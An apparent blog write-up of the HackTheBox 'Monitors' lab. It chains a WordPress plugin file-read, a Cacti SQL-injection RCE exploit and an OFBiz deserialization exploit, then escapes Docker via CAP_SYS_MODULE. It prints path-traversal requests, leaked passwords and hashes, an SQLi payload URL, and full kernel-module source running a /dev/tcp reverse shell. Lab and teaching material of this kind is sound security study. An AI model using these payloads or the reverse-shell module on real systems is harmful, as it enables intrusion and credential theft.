HackTheBox - Monitors | Writeup
Post

HackTheBox - Monitors | Writeup

monitors.jpg

Overview

Monitors is defined as a hard-difficulty box: a lot of enumeration, 3 real-world CVE`s and docker container privilege escalation at the end.

Notes

  • Sometimes information from public exploits is not 100% correct
  • WordPress scanner: wpscan --url http://monitors.htb/
  • Dynamic port forwarding with SSH: ssh -D 9050 marcus@monitors.htb -f -N
  • SYS_MODULE capability allows inserting arbitrary modules into the kernel and since the kernel is shared that leads to privilege escalation

Enumeration

Nmap scan

Starting from a standard Nmap scan with basic flags:

  • -v for Verbose mode
  • -T4 for faster execution (prohibits the dynamic scan delay from exceeding 10 ms for TCP ports)
  • -p- to scan all TCP ports
  • -n to do not ping the host (assume the host is alive)
  • -sV to do a service scan and get some additional information about the service
  • -sC to run default Nmap enumeration scripts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ nmap -v -Pn -n -T4 -p- -sV -sC monitors.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.5.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Monitor – Taking hardware monitoring seriously
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap reveals 2 services: SSH on port 22 and Apache on port 80 running WordPress.

Foothold

We can use the most popular WordPress security scanner tool - WPScan:

1
wpscan --url http://monitors.htb/

spritz.png

wpscan reveals that wp-with-spritz plugin is installed. Let’s check for public available exploits:

1
2
3
4
5
6
7
$ searchsploit 'spritz'

------------------------------------------------ ---------------------------------
 Exploit Title                                  |  Path
------------------------------------------------ ---------------------------------
WordPress Plugin WP with Spritz 1.0 - Remote Fi | php/webapps/44544.php
------------------------------------------------ ---------------------------------

Googling for wp-with-spritz returns the same results. There is an exploit only for version 1.0, but the current version is 4.2.4. At the same time, I didn’t find ANY data related to 4.2.4 version. So, sometimes it means there is no other versions at all, and information in the CVE is not correct. Let’s try to check the POC (https://www.exploit-db.com/exploits/44544).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Debian-snmp:x:112:115::/var/lib/snmp:/bin/false
mysql:x:109:114:MySQL Server,,,:/nonexistent:/bin/false

Nice! It’s possible to read arbitrary files. Let’s check the wordpress config:

1
2
3
4
5
6
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php

...
/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
...

We have a DB password, but it didn’t work for WordPress or SSH. Let’s keep it in memory and continue the enumeration. It makes sense to check the Apache default config:

1
2
3
4
5
6
7
8
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../../../etc/apache2/sites-available/000-default.conf

# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf

<VirtualHost *:80>
       ....

2 strings are commented. The last one is the most interesting:

1
2
3
4
5
6
7
8
9
10
11
12
curl --path-as-is http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../../../../etc/apache2/sites-available/cacti-admin.monitors.htb.conf
<VirtualHost *:80>
       ...

        ServerAdmin admin@monitors.htb
        ServerName cacti-admin.monitors.htb
        DocumentRoot /usr/share/cacti
        ServerAlias cacti-admin.monitors.htb

       ...
</VirtualHost>

cacti-admin.monitors.htb is a new virtual host. Let’s add it to /etc/hosts file and check the resource:

1
sudo bash -c 'echo "10.10.10.238 cacti-admin.monitors.htb" >> /etc/hosts'

cacti

It’s cacti 1.2.12. It’s possible to log in using Admin user and the password from the WordPress config: “BestAdministrator@2020!”.

Searching for vulns:

1
2
3
4
5
searchsploit cacti

...
Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution    | php/webapps/49810.py
...

Looks like the current version is vulnerable to RCE.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ python3 49810.py -t http://cacti-admin.monitors.htb -u Admin -p 'BestAdministrator@2020!' --lhost 10.10.14.12 --lport 5555
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:c351a094beec11b52facaf77827701b86c76cfc3,1633686220
[+] Trying to log in...
[+] Successfully logged in!

[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"

[+] Check your nc listener!

cacti-shell

User

We can start from a basic file system enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ls -al /home
total 12
drwxr-xr-x  3 root   root   4096 Nov 10  2020 .
drwxr-xr-x 24 root   root   4096 Jul 23 13:46 ..
drwxr-xr-x  5 marcus marcus 4096 Jan 25  2021 marcus
$ ls -al /home/marcus
total 40
drwxr-xr-x 5 marcus marcus 4096 Jan 25  2021 .
drwxr-xr-x 3 root   root   4096 Nov 10  2020 ..
d--x--x--x 2 marcus marcus 4096 Nov 10  2020 .backup
lrwxrwxrwx 1 root   root      9 Nov 10  2020 .bash_history -> /dev/null
-rw-r--r-- 1 marcus marcus  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 marcus marcus 3771 Apr  4  2018 .bashrc
drwx------ 2 marcus marcus 4096 Jan 25  2021 .cache
drwx------ 3 marcus marcus 4096 Nov 10  2020 .gnupg
-rw-r--r-- 1 marcus marcus  807 Apr  4  2018 .profile
-r--r----- 1 root   marcus   84 Jan 25  2021 note.txt
-r--r----- 1 root   marcus   33 Oct  7 16:10 user.txt

There is an interesting .backup directory inside the marcus’s home dir with the privileges “d–x–x–x”. It means, we can read any file inside the directory, but can’t read names. There are 2 possible ways to exploit that: brute force possible file names or try to find any information about the files.

Let’s try to find any files with ‘marcus’ inside:

1
2
3
4
5
6
7
8
9
10
11
12
grep -iR marcus /etc 2>/dev/null

/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Binary file /etc/alternatives/phar.phar matches
Binary file /etc/alternatives/php matches
Binary file /etc/alternatives/phar matches

Looks like there is a cacti backup service and the filename is backup.sh. Let’s check the content:

1
2
3
4
5
6
7
8
9
10
cat /home/marcus/.backup/backup.sh
#!/bin/bash

backup_name="cacti_backup"
config_pass="VerticalEdge2020"

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip

We have a password for marcus and it’s possible to use SSH to log in:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ ssh marcus@monitors.htb
marcus@monitors.htb's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 2.0

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

128 packages can be updated.
97 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Oct  8 22:42:50 2021 from 10.10.14.12
marcus@monitors:~$ id
uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)

Root

Basic enumeration of running processes reveals that port 8443 is probably used by apache-ofbiz-17.12.01:

1
2
3
4
5
6
ps -auxw

...
root       2201  0.0  0.0 553112  3956 ?        Sl   Oct07   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443
root       2236  0.0  2.1 3410072 86176 ?       Ssl  Oct07   1:47 /usr/local/openjdk-8/bin/java -Dorg.gradle.appname=gradlew -classpath /usr/src/apache-ofbiz-17.12.01/gradle/wrapper/gradle-wrapper.jar org.g
...

Accordingly to the official site: “OFBiz is a Java based web framework including an entity engine, a service engine and a widget based UI allowing you to quickly prototype and develop your web application.”. Version 17.12.01 is vulnerable to Remote Command Execution (RCE) via Unsafe Deserialization of XMLRPC arguments. Exploit is publicly accessible: https://www.exploit-db.com/exploits/50178

Since the OFBiz service is accessible only from a localhost we need to proxify traffic somehow. Let’s use dynamic SSH forwarding with flags:

  • -D - Specifies a local ‘dynamic’ application-level port forwarding
  • -f - Requests ssh to go to background just before command execution
  • -N - Do not execute a remote command. This is useful for just forwarding ports
1
└─$ ssh -D 9050 marcus@monitors.htb -f -N

It should create a socks proxy available on port 9050. The proxychains config should be changed in order to use the local proxy.

/etc/proxychains4.conf:

1
2
3
4
5
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 9050

Let’s make a local copy of the exploit since we need to make some changes inside. We also need to convert line breaks using dos2unix tool:

1
2
3
cp /usr/share/exploitdb/exploits/java/webapps/50178.sh ./
dos2unix 50178.sh

Since we are going to launch the exploit using proxychains tool, it won’t be able to directly download ysoserial tool. So, let’s download it manually:

1
wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar

We need to open 2 terminals and start:

  • a simplified python web server: sudo python3 -m http.server 80
  • a netcat listener: nc -lvp 8001

Exploitatation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ proxychains bash ./50178.sh -i 10.10.14.12 -p 8001                                                        
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

[*] Creating a shell file with bash

[*] Downloading YsoSerial JAR File

channel 2: open failed: connect failed: Temporary failure in name resolution
[*] Generating a JAR payload

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Sending malicious shell to server...

[*] Generating a second JAR payload
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

[*] Executing the payload in the server...


[*]Deleting Files...

We got a reverse shell.

biz_shell.png

Looks like the app is running inside a docker container. It’s always a good idea to check current capabilities:

1
2
3
root@6aa06c92f984:/tmp# capsh --print
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip

cap_sys_module cap is on which mean we can insert kernel module into host kernel that will spawn a userspace shell (using usermodhelper) to connect back.

Let’s create a basic kernel module:

shell.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <linux/kmod.h> 
#include <linux/module.h> 

MODULE_LICENSE("GPL"); 
MODULE_AUTHOR("AttackDefense"); 
MODULE_DESCRIPTION("LKM reverse shell module"); 
MODULE_VERSION("1.0"); 

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.12/4444 0>&1", NULL}; 
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; 

static int __init reverse_shell_init(void) { 
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); 
} 
static void __exit reverse_shell_exit(void) { 
    printk(KERN_INFO "Exiting\n"); 
} 

module_init(reverse_shell_init); 
module_exit(reverse_shell_exit);

and a Makefile (should be separated by 2 tabs, not spaces):

1
2
3
4
5
6
obj-m +=reverse-shell.o 

all: 
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 
clean: 
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Now we should copy files to the docker container, compile a module and insert it into the kernel:

1
2
3
4
5
6
7
wget http://10.10.14.12:8000/reverse-shell.c
wget http://10.10.14.12:8000/Makefile
make

#You need to run a listener before the insmod command
insmod reverse-shell.ko

A root shell should appear:

root.png

W00t!

Extra mile. Why Spritz WP plugin is vulnerable?

There is code in wp.spritz.content.filter.php script:

1
2
3
4
5
6
<?php
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);
...

echo $content;

The file_get_contents() reads a file into a string. Since the url parameter is controlled by user input, it’s possible to read arbitrary files on a server or even make requests to other servers inside the network what leads to SSRF vulnerability.

Extra mile. Why Cacti is vulnerable?

In colors.php line 753 there is code:

1
2
3
4
5
6
if (get_request_var('filter') != '') {
        $sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'
            OR hex LIKE '%" .  get_request_var('filter') . "%')";
    } else {
        $sql_where = '';
    }

The developer used basic string concatination to create a $sql_where value. Since filter parameter is controlled by user input - it allows to modify the request logic that leads to a SQL injection vulnerability.

On line 770 the $sql_where value used to make a sql query:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$colors = db_fetch_assoc("SELECT *,
        SUM(CASE WHEN local_graph_id>0 THEN 1 ELSE 0 END) AS graphs,
        SUM(CASE WHEN local_graph_id=0 THEN 1 ELSE 0 END) AS templates
        FROM (
            SELECT c.*, local_graph_id
            FROM colors AS c
            LEFT JOIN (
                SELECT color_id, graph_template_id, local_graph_id
                FROM graph_templates_item
                WHERE color_id>0
            ) AS gti
            ON c.id=gti.color_id
        ) AS rs
        $sql_where
        GROUP BY rs.id
        $sql_having");

Additionally, Cacti keeps ‘path_php_binary’ setting in a database to run custom scripts. This leads to Remote Code Execution. Since using stacked queries is allowed, it’s possible to change that value to a custom binary or command.

POC:

1
2
3
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+- 

/cacti/host.php?action=reindex

How it could be found during code analysys?

A basic grep returns 97 strings where get_request_var is used in sql queries:

1
grep -rnw ./ -e ".*where.*get_request_var.*" --color|grep -v 'db_qstr'

cacti_grep.png